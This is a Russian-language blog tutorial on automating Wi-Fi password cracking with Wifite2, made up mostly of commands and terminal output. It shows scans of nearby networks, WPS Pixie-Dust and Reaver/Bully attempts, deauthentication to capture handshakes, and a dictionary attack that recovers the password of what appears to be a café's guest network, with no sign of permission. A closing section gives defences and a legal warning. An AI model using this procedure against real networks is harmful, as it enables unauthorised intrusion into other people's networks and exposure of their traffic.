19 марта, 2024

Как автоматизировать взлом Wi-Fi с помощью Wifite2

Содержание:

Существует довольно много способов атаковать Wi-Fi сеть. Тип шифрования, дефолтные настройки производителя и количество подключенных клиентов могут определять, насколько легко будет атаковать цель и какой метод взлома сработает лучше всего. Wifite2 — это мощный инструмент, который автоматизирует взлом Wi-Fi, позволяя вам выбрать цели в зоне покрытия вашего адаптера, а затем подбирает лучшую стратегию взлома для каждой сети.

Wifite или Wifite2?

Wifite — инструмент не новый. Это был один из первых инструментов для хакинга Wi-Fi, с которым мы познакомились. Наряду с Besside-ng автоматизированные скрипты для взлома Wi-Fi позволяли даже скрипт-кидди получать хорошие результаты, несмотря на то, что они не понимали, как эти скрипты работают. По сравнению с Besside-ng, оригинальный Wifite основательно использовал все доступные ему инструменты для атаки на сеть, но в то же время он был очень медленным.

Одной из лучших функциональных особенностей оригинального Wifite было то, что он проводил Wi-Fi сканирование местности, прежде чем атаковать близлежащие сети. Это позволяло хакеру указывать одну, несколько или все сети в качестве целей. Благодаря тому, что Wifite раскладывал пользователю все доступные цели в удобном для понимания формате, даже новичок мог понять, какие атаки лучше применять против ближайших сетей.

Оригинальный Wifite мог автоматически атаковать WPA-сети путем перехвата рукопожатия или использовать инструмент Reaver для брутфорса PIN-кодов WPS ближайших сетей. Несмотря на то, что этот способ атаки был очень эффективен, его выполнение занимало от 8 часов и более.

Обновленный WiFite2 работает намного быстрее благодаря уменьшению времени на сами атаки и использованию более совершенных тактик, чем в предыдущей версии. Из-за этого Wifite2 — это более серьезное и мощное средство для взлома Wi-Fi, чем оригинальный Wifite.

Процедура взлома Wi-Fi

Для максимально быстрого взлома близлежащих сетей Wifite2 использует простую, но достаточно эффективную процедуру. Он доводит каждую тактику, которую пытается применить, до предела ее практического применения, может даже зайти так далеко, что будет пытаться взломать любые входящие рукопожатия.

Первым делом Wifite2 сканирует все каналы в поисках всех сетей в зоне покрытия. Затем он ранжирует найденные сети по уровню сигнала, поскольку факт обнаружения сети совершенно не гарантирует надежную связь с ним.

Кроме сортировки обнаруженных сетей в порядке убывания сигнала, этап разведки включает в себя сбор информации о том, к каким методам взлома эти сети могут быть уязвимы.

Благодаря организации Wifite2 можно легко добавить направленную Wi-Fi антенну, и использовать Wifite2 для определения местоположения источника любой ближайшей Wi-Fi сети при проведении сканирования окрестностей.

После завершения сканирования округи все отраженные цели будут также содержать информацию о том, подключены ли к ним клиенты, объявляет ли сеть об использовании WPS, и какой тип шифрования использует сеть. Исходя из этого, хакер на основе собранной информации выбирает для атаки любую цель, группу или все цели.

Wifite2 пройдет по всему списку целей, начиная с самых быстрых и простых атак, таких как WPS-Pixie, которые в считанные секунды могут взломать пароль, до менее надежных тактик, вроде проверок на использование слабых паролей с помощью «атаки по словарю». Если атака не удается или ее завершение занимает слишком много времени, то Wifite2 перейдет к следующей возможной в конкретном случае атаке, чтобы не терять времени, как это делал его предшественник.

Что вам понадобится

Для начала вам понадобится адаптер Wi-Fi, который можно перевести в режим мониторинга. Это означает, что вы должны выбрать тот адаптер, который совместим с Kali Linux. У нас есть на этот счет несколько отличных руководств.

Wifite2 установлен в Kali Linux по умолчанию, поэтому мы рекомендуем использовать Kali на виртуальной машине или в качестве второй системы на ноутбуке. Вы можете использовать Wifite2 в других системах Linux, но мы не будем подробно останавливаться на его установке, так как предполагаем, что вы все-таки используете Kali Linux.

Шаг 1. Установите Wifite2

Если в вашей системе еще не установлен Wifite2, то вы можете установить его из GitHub репозитория. Вначале нужно клонировать репозиторий: открыть окно терминала и ввести следующие команды.

git clone https://github.com/derv82/wifite2.git
cd wifite2
sudo python setup.py install

Эти команды скачают и установят Wifite2 в вашу систему. Чтобы проверить, работает ли он, можно набрать wifite -h и увидеть информацию об установленной версии.

wifite -h

  .               .
.´  ·  .     .  ·  `.  wifite 2.1.6
:  :  :  (¯)  :  :  :  automated wireless auditor
`.  ·  ` /¯\ ´  ·  .´  https://github.com/derv82/wifite2
  `     /¯¯¯\     ´

optional arguments:
  -h, --help           show this help message and exit

SETTINGS:
  -v, --verbose        Shows more options (-h -v). Prints commands and outputs. (default: quiet)
  -i [interface]       Wireless interface to use (default: choose first or ask)
  -c [channel]         Wireless channel to scan (default: all channels)
  -mac, --random-mac   Randomize wireless card MAC address (default: off)
  -p [scantime]        Pillage: Attack all targets after scantime seconds
  --kill               Kill processes that conflict with Airmon/Airodump (default: off)
  --clients-only, -co  Only show targets that have associated clients (default: off)
  --nodeauths          Passive mode: Never deauthenticates clients (default: deauth targets)

WEP:
  --wep                Filter to display only WEP-encrypted networks (default: off)
  --require-fakeauth   Fails attacks if fake-auth fails (default: off)
  --keep-ivs           Retain .IVS files and reuse when cracking (default: off)

WPA:
  --wpa                Filter to display only WPA-encrypted networks (includes WPS)
  --new-hs             Captures new handshakes, ignores existing handshakes in ./hs (default: off)
  --dict [file]        File containing passwords for cracking (default: /usr/share/wordlists/fern-wifi/common.txt)

WPS:
  --wps                Filter to display only WPS-enabled networks
  --bully              Use bully instead of reaver for WPS attacks (default: reaver)
  --no-wps             NEVER use WPS attacks (Pixie-Dust) on non-WEP networks (default: off)
  --wps-only           ALWAYS use WPS attacks (Pixie-Dust) on non-WEP networks (default: off)

EVIL TWIN:
  -ev, --eviltwin      Use the "Evil Twin" attack against all targets (default: off)

COMMANDS:
  --cracked            Display previously-cracked access points
  --check [file]       Check a .cap file (or all hs/*.cap files) for WPA handshakes
  --crack              Show commands to crack a captured handshake

Шаг 2. Подключите ваш Wi-Fi адаптер

Если в вашей системе установлен Wifite2, то нужно подключить беспроводной сетевой адаптер, совместимый с Kali Linux. Wifite2 позаботится не только об автоматическом выборе используемого вами Wi-Fi адаптера, но и переведет его в режим мониторинга. Это означает, что после подключения адаптера вам дополнительно ничего не нужно делать.

Читать также:  Основы Linux для хакеров, Часть 5 (Установка новых программ)

Шаг 3. Установите флаги и найдите цель

Если мы знаем, какой канал мы атакуем, то сразу можем его выбрать, добавив команду -c, за которой следует номер канала. Если просто запустить Wifite2, набрав в консоли wifite, это позволит скрипту собрать нужную информацию.

wifite -c 11

  .               .
.´  ·  .     .  ·  `.  wifite 2.1.6
:  :  :  (¯)  :  :  :  automated wireless auditor
`.  ·  ` /¯\ ´  ·  .´  https://github.com/derv82/wifite2
  `     /¯¯¯\     ´

 [+] option: scanning for targets on channel 11
 [!] conflicting process: NetworkManager (PID 464)
 [!] conflicting process: wpa_supplicant (PID 729)
 [!] conflicting process: dhclient (PID 13595)
 [!] if you have problems: kill -9 PID or re-run wifite with --kill)

 [+] looking for wireless interfaces

    Interface   PHY   Driver              Chipset
-----------------------------------------------------------------------
 1. wlan0       phy3  ath9k_htc           Atheros Communications, Inc. AR9271 802.11n

 [+] enabling monitor mode on wlan0... enabled wlan0mon

   NUM                      ESSID   CH  ENCR  POWER  WPS?  CLIENT
   ---  -------------------------  ---  ----  -----  ----  ------
     1              Suicidegirls    11   WPA   48db    no
     2      Bourgeois Pig Guest     11   WPA   45db    no
     3                     BPnet    11   WPA   42db    no
     4      DirtyLittleBirdyFeet    11   WPA   32db    no    5
     5                ATT73qDwuI    11   WPA   32db   yes
     6               SpanishWiFi    11   WPA   24db    no
     7            Franklin Lower    11   WPA   20db    no    3
     8                     Sonos    11   WPA   11db    no
     9            Villa Carlotta    11   WPA   11db    no
    10                     Sonos    11   WPA   10db    no
 [+] select target(s) (1-10) separated by commas, dashes or all:

Здесь мы выполнили сканирование 11-го канала и нашли 10 разных целей. Среди этих целей у двух есть подключенные клиенты, у одного включен WPS, и все они используют WPA.

Шаг 4. Изучите результаты сканирования и выберите цели

По результатам нашего тестового сканирования мы видим, что цель 5, скорее всего, является наиболее подходящей. И хотя уровень сигнала у нее не самый лучший, и нет подключенных клиентов, но мы, с большой долей вероятности, сможем получить рукопожатие с помощью новой PMKID-атаки даже в том случае, если никто не подключен.

Если мы ищем слабые пароли, то первые три сети имеют самый сильный уровень сигнала, а у целей 4 и 7 наибольшие шансы получить быстрое четырехстороннее рукопожатие, чтобы позже можно было попробовать брутфорс. Если нас интересует какая-то конкретная сеть, то сейчас мы можем ее выбрать. Если мы хотим выбрать сети, атака по которым с большей вероятностью даст результат, то мы можем выбрать цели 4, 5 и 7 с хорошими шансами быстро перехватить рукопожатие и взломать его, если PIN-код WPS не был взломан в первую очередь.

Если мы хотим сосредоточиться на легких целях, то мы можем указать скрипту отображать только те цели, которые уязвимы для определенного вида атаки. Чтобы отобразить только цели с WPS, которые могут быть уязвимы для атак от Reaver или Bully, нужно запустить Wifite2 с флагом -wps.

wifite -wps

  .               .
.´  ·  .     .  ·  `.  wifite 2.1.6
:  :  :  (¯)  :  :  :  automated wireless auditor
`.  ·  ` /¯\ ´  ·  .´  https://github.com/derv82/wifite2
  `     /¯¯¯\     ´

 [+] option: targeting WPS-encrypted networks
 [!] conflicting process: NetworkManager (PID 464)
 [!] conflicting process: wpa_supplicant (PID 729)
 [!] conflicting process: dhclient (PID 14824)
 [!] if you have problems: kill -9 PID or re-run wifite with --kill)

 [+] looking for wireless interfaces

    Interface   PHY   Driver              Chipset
-----------------------------------------------------------------------
 1. wlan0       phy4  ath9k_htc           Atheros Communications, Inc. AR9271 802.11n

 [+] enabling monitor mode on wlan0... enabled wlan0mon

   NUM                      ESSID   CH  ENCR  POWER  WPS?  CLIENT
   ---  -------------------------  ---  ----  -----  ----  ------
     1                 SBG6580E8     1   WPA   45db   yes
     2          The Daily Planet     1   WPA   30db   yes    1
     3                ATT73qDwuI    11   WPA   28db   yes
     4            birds-Wireless     2   WPA   23db   yes
 [+] select target(s) (1-4) separated by commas, dashes or all:

То же самое мы можем сделать с флагами -wpa или -wep, чтобы показать только те цели, которые используют эти типы шифрования.

Читать также:  Как украсть переписку из мессенджера Signal на MacBook при помощи USB-утенка

Шаг 5. Автоматизируйте атаки по типу цели

В нашем списке результатов найдем цель с включенным WPS и подключенными клиентами. После того, как мы выберем номер сети, которую хотим атаковать, Wifite2 проведет наиболее подходящие для них атаки.

[+] (1/1) starting attacks against 69:96:43:69:D6:96 (The Daily Planet)
 [+] The Daily Planet (76db) WPS Pixie-Dust: [--78s] Failed: Timeout after 300 seconds
 [+] The Daily Planet (52db) WPA Handshake capture: Discovered new client: C8:E0:EB:45:CD:45
 [+] The Daily Planet (35db) WPA Handshake capture: Listening. (clients:1, deauth:11s, timeout:7m59s)

 [+] successfully captured handshake
 [+] saving copy of handshake to hs/handshake_TheDailyPlanet_69:96:43:69:D6:96_2018-12-24T00-33-18.cap saved

 [+] analysis of captured handshake file:
 [+]   tshark: .cap file contains a valid handshake for 69:96:43:69:D6:96
 [!]    pyrit: .cap file does not contain a valid handshake
 [+] cowpatty: .cap file contains a valid handshake for (The Daily Planet)
 [+] aircrack: .cap file contains a valid handshake for 69:96:43:69:D6:96

 [+] Cracking WPA Handshake: Using aircrack-ng via common.txt wordlist

 [!] Failed to crack handshake: common.txt did not contain password
 [+] Finished attacking 1 target(s), exiting

Здесь мы видим, что, хотя атака WPS-Pixie не удалась, но мы смогли легко перехватить рукопожатие. Таймаут для атаки WPS-Pixie истек довольно быстро, поэтому мы потратили минимум времени на пробу этой атаки. Случается, что разные Wi-Fi адаптеры лучше работают с разными скриптами, и это утверждение справедливо для Reaver и Bully. Если какой-то не подошел — попробуйте другой.

Wifite2 использует по умолчанию Reaver, но вы можете изменить его на Bully, используя флаг -bully.

wifite -wps -bully

  .               .
.´  ·  .     .  ·  `.  wifite 2.1.6
:  :  :  (¯)  :  :  :  automated wireless auditor
`.  ·  ` /¯\ ´  ·  .´  https://github.com/derv82/wifite2
  `     /¯¯¯\     ´

 [+] option: use bully instead of reaver for WPS Attacks
 [+] option: targeting WPS-encrypted networks
 [!] conflicting process: NetworkManager (PID 464)
 [!] conflicting process: wpa_supplicant (PID 729)
 [!] conflicting process: dhclient (PID 14824)
 [!] if you have problems: kill -9 PID or re-run wifite with --kill)

 [+] looking for wireless interfaces
     using interface wlan0mon (already in monitor mode)
     you can specify the wireless interface using -i wlan0

   NUM                      ESSID   CH  ENCR  POWER  WPS?  CLIENT
   ---  -------------------------  ---  ----  -----  ----  ------
     1                 SBG6580E8     1   WPA   46db   yes
     2          The Daily Planet     1   WPA   34db   yes    1
 [+] select target(s) (1-2) separated by commas, dashes or all: 2

 [+] (1/1) starting attacks against 78:96:84:00:B5:B0 (The Daily Planet)
 [+] The Daily Planet (44db) WPS Pixie-Dust: [4m0s] Failed: More than 100 timeouts
 [+] The Daily Planet (34db) WPA Handshake capture: found existing handshake for The Daily Planet
 [+] Using handshake from hs/handshake_TheDailyPlanet_78-96-84-00-B5-B0_2018-12-24T00-33-18.cap

 [+] analysis of captured handshake file:
 [+]   tshark: .cap file contains a valid handshake for 78:96:84:00:b5:b0
 [!]    pyrit: .cap file does not contain a valid handshake
 [+] cowpatty: .cap file contains a valid handshake for (The Daily Planet)
 [+] aircrack: .cap file contains a valid handshake for 78:96:84:00:B5:B0

 [+] Cracking WPA Handshake: Using aircrack-ng via common.txt wordlist

 [!] Failed to crack handshake: common.txt did not contain password
 [+] Finished attacking 1 target(s), exiting

Несмотря на то, что с Bully мы не получили хороший результат, пробовать нужно оба — это отличный способ выяснить, с чем лучше всего работает ваш Wi-Fi адаптер.

Шаг 6. Пропуски и изучение результатов

Если Wifite2 требует слишком много времени для проведения какой-то конкретной атаки, то мы всегда можем пропустить текущую атаку, нажав Ctrl-C. Это вызовет меню, которое спросит, продолжить или лучше прерваться. Здесь вы можете перейти к следующей атаке, нажав c или s, чтобы совсем остановить Wifite2.

[+] SBG6580E8 (47db) WPS Pixie-Dust: [4m52s] Trying PIN 12523146 (DeAuth:Timeout) (Timeouts:15)
 [!] interrupted

 [+] 1 attack(s) remain, do you want to continue?
 [+] type c to continue or s to stop:

Если мы получим только четырехстороннее рукопожатие, то сможем добавить кастомный словарь с паролями и попытаться взломать рукопожатие. Мы можем сделать это, установив флаг —dict, и затем указать путь до файла, содержащего пароли для взлома. По умолчанию этот путь установлен в /usr/share/wordlists/fern-wifi/common.txt. Этот список содержит много общих паролей, но если вы хотите получить хорошие результаты атак, то лучше использовать свои собственные вордлисты.

Читать также:  Лучшие и худшие VPN-провайдеры для Linux на начало 2020 года

Ниже мы успешно расшифровали перехваченное рукопожатие с помощью кастомного словаря «passwords.txt».

wifite -wpa --dict ./passwords.txt

  .               .
.´  ·  .     .  ·  `.  wifite 2.1.6
:  :  :  (¯)  :  :  :  automated wireless auditor
`.  ·  ` /¯\ ´  ·  .´  https://github.com/derv82/wifite2
  `     /¯¯¯\     ´

 [+] option: using wordlist ./passwords.txt to crack WPA handshakes
 [+] option: targeting WPA-encrypted networks
 [!] conflicting process: NetworkManager (PID 419)
 [!] conflicting process: wpa_supplicant (PID 585)
 [!] conflicting process: dhclient (PID 7902)
 [!] if you have problems: kill -9 PID or re-run wifite with --kill)

 [+] looking for wireless interfaces
     using interface wlan0mon (already in monitor mode)
     you can specify the wireless interface using -i wlan0

   NUM                      ESSID   CH  ENCR  POWER  WPS?  CLIENT
   ---  -------------------------  ---  ----  -----  ----  ------
     1              Suicidegirls    11   WPA   58db   n/a
     2      Bourgeois Pig Guest     11   WPA   56db   n/a
     3                     BPnet    11   WPA   56db   n/a
     4          The Daily Planet     1   WPA   49db   n/a    1
     5                 SBG6580E8     1   WPA   49db   n/a
     6            Hyla Hair 2.4G     8   WPA   48db   n/a
     7         TWCWiFi-Passpoint     1   WPA   46db   n/a
     8  HP-Print-B9-Officejet...     1   WPA   40db   n/a
     9            birds-Wireless     2   WPA   39db   n/a
    10               SpanishWiFi    11   WPA   38db   n/a
 [!] Airodump exited unexpectedly (Code: 0) Command: airodump-ng wlan0mon -a -w /tmp/wifitei_l5H1/airodump --write-interval 1 --output-format pcap,csv
 [+] select target(s) (1-10) separated by commas, dashes or all: 2

 [+] (1/1) starting attacks against DE:F2:86:EC:CA:A0 (Bourgeois Pig Guest )
 [+] Bourgeois Pig Guest  (57db) WPA Handshake capture: Discovered new client: F0:D5:BF:BD:D5:2B
 [+] Bourgeois Pig Guest  (58db) WPA Handshake capture: Discovered new client: 6C:8D:C1:A8:E4:E9
 [+] Bourgeois Pig Guest  (59db) WPA Handshake capture: Listening. (clients:2, deauth:14s, timeout:8m1s)

 [+] successfully captured handshake
 [+] saving copy of handshake to hs/handshake_BourgeoisPigGuest_DE-F2-86-EC-CA-A0_2018-12-24T01-40-28.cap saved

 [+] analysis of captured handshake file:
 [+]   tshark: .cap file contains a valid handshake for de:f2:86:ec:ca:a0
 [!]    pyrit: .cap file does not contain a valid handshake
 [+] cowpatty: .cap file contains a valid handshake for (Bourgeois Pig Guest )
 [+] aircrack: .cap file contains a valid handshake for DE:F2:86:EC:CA:A0

 [+] Cracking WPA Handshake: Using aircrack-ng via passwords.txt wordlist
 [+] Cracking WPA Handshake: 100.00% ETA: 0s @ 2234.0kps (current key: christmasham)
 [+] Cracked WPA Handshake PSK: christmasham

 [+]   Access Point Name: Bourgeois Pig Guest
 [+]  Access Point BSSID: DE:F2:86:EC:CA:A0
 [+]          Encryption: WPA
 [+]      Handshake File: hs/handshake_BourgeoisPigGuest_DE-F2-86-EC-CA-A0_2018-12-24T01-40-28.cap
 [+]      PSK (password): christmasham
 [+] saved crack result to cracked.txt (1 total)
 [+] Finished attacking 1 target(s), exiting

Использование хорошего файла с паролями может повысить шансы на взлом сетевого пароля Wi-Fi, даже если более быстрые WPS-атаки не приведут к успеху.

Некоторые предупреждения и способы защиты

Wifite2 — пример того, как даже скрипт-кидди могут эффективно атаковать сети с общими уязвимостями, вроде PIN-кодов WPS и слабых паролей. Но по мере роста количества продвинутых атак, выполнение которых автоматизируется, очень важно знать о наиболее распространенных и эффективных способах атак на Wi-Fi сети.

Лучший способ защитить свою сеть от таких инструментов, как Wifite2 — это убедиться, что у вас отключен WPS, и выбрать для вашей Wi-Fi сети очень сильный пароль, который вы не расскажете никому.

Важно отметить, что выбрав «all» (все) в списке целей, Wifite2 будет атаковать все обнаруженные сети, а не только те, на пентест которых у вас есть разрешение. У вас должно быть разрешение на использование этого инструмента в любой сети, которую вы атакуете, поскольку атака сети, принадлежащей кому-то другому, без разрешения с его стороны, является преступлением и может привести к большим неприятностям. Просто сказать, что это сделал скрипт, а не вы — это не оправдание, особенно если вас поймали на атаке какой-то важной сети. Поэтому убедитесь, что Wifite2 ориентирован только на те сети, на аудит которых у вас есть разрешение.

Надеемся, вам понравилось это руководство по автоматизации хакинга Wi-Fi с помощью Wifite2. Если у вас есть какие-либо вопросы по этой статье или по инструментам Wi-Fi взлома — не стесняйтесь, пишите в комментариях.

Добавить комментарий